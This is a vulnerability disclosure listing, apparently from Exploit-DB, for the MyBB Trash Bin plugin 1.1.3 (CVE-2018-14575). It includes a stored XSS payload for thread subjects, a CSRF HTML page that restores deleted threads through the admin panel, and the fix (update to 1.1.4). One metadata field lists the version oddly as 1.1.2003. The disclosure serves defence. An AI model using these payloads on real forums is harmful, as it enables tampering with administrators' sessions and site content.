MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF

vendor:

MyBB

by:

0xB9

8.8

CVSS

HIGH

Cross-Site Scripting, Cross-Site Request Forgery

CWE

Product Name: MyBB

Affected Version From: 1.1.2003

Affected Version To: 1.1.2003

Patch Exists: YES

Related CWE: CVE-2018-14575

CPE: a:mybb_group:mybb:1.1.3

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 18.04

2018

MyBB Trash Bin Plugin 1.1.3 – Cross-Site Scripting / CSRF

Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.

Mitigation:

Update to version 1.1.4

Source

Exploit-DB raw data:

# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF
# Date: 7/17/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14575


1. Description:
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.
 

2. Proof of Concept:

Cross-Site Scripting

- Create a new thread with the following subject  <script>alert('XSS')</script>
- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts

- Reply to a post and change the subject to the following  <script>alert('XSS')</script>
- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts


Cross-Site Request Forgery

<html>
	<body>
		<!-- Restore deleted threads & posts by thread/post ID -->
		<div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
		<script type="text/javascript">
			$("#thread_1").popupMenu();
		</script>
	</body>
</html>

3. Solution:
Update to 1.1.4